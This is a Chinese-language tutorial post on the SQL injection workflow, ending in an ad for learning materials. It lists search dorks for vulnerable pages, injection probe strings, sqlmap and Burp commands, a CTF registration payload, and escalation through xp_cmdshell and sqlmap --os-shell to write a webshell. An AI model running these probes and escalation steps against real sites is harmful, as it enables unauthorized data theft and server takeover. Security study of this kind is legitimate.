SQL注入-SQL注入基础-SQL注入流程

SQL注入流程

01 寻找SQL注入点

寻找SQL注入点

无特定目标： inurl:.php?id=

有特定目标： inurl:.php?id=site:target.com // jsp sid

工具爬取： spider,对搜索引擎和目标网站的链接进行爬取

注入识别 手工简单识别：

代码语言：javascript

复制

'
and 1=1 / and 1=2
and '1'='1 / and '1'='2 
and 1 like 1 / and 1 like 2

工具识别：

代码语言：javascript

复制

sqlmap -m filename (filename中保存检测目标)
sqlmap --crawl(sqlmap对目标网站进行爬取，然后依次进行测试)

高级识别： 扩展识别广度和深度：

代码语言：javascript

复制

SqlMap --level 增加测试级别，对header中相关参数也进行测试
sqlmap -r filename (filename中为网站请求数据)

利用工具提高识别效率：

代码语言：javascript

复制

BurpSuite + SqlMap
BurpSuite拦截所有浏览器访问提交的数据
BurpSuite扩展插件，直接调用SqlMap进行测试

一些Tips：

可以在参数后键入“*” 来确定想要测试的参数 可能出现注入的点：新闻、登录、搜索、留言… … 站在开发的角度去寻找

---

代码语言：javascript

复制

python sqlmap.py -r 1.txt

burp sqlmap 扩展 Burp-> Extender->BApp Store -> SQLiPy Sqlmap

代码审计：

搜索关键代码和函数 梳理业务流程

强网杯WEB “python is the best language”

代码语言：javascript

复制

http://test.com/register  
POST:  

username=test&email=t@t.com&password=123&password2=123&submit=Register  
username=test&email=t@t.com' and '1' = '1&password=123&password2=123&submit=Register  

02 SQL注入流程

数据获取

代码语言：javascript

复制

web.mdb

select [*] from admin
select [*] from system

select [username] from system
select [name] from system

提权

代码语言：javascript

复制

xp.cmdshell

--os-shell // 执行系统命令 写webshell到网站目录

网络安全学习资源推荐

最后给大家分享一份全套的网络安全学习籽料，给那些想学习，想转行网络安全的同学一点点帮助！

对于从来没有学习过网络安全的同学，我们帮你准备了一份详细的从入门到就业的学习路线图！我们公司几位大佬花了几天时间做出来的学习路线图，跟着这个学习，保证没问题！

同学们有需要的话可以v扫描下方二维码联系领取~

零基础入门

1.学习路线

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

2.学习视频

从基础到进阶都有学习视频提供

3.学习书籍推荐（PDF）

4.面试资料

因篇幅有限，籽料较为敏感仅展示部分籽料，添加上方即可获取↑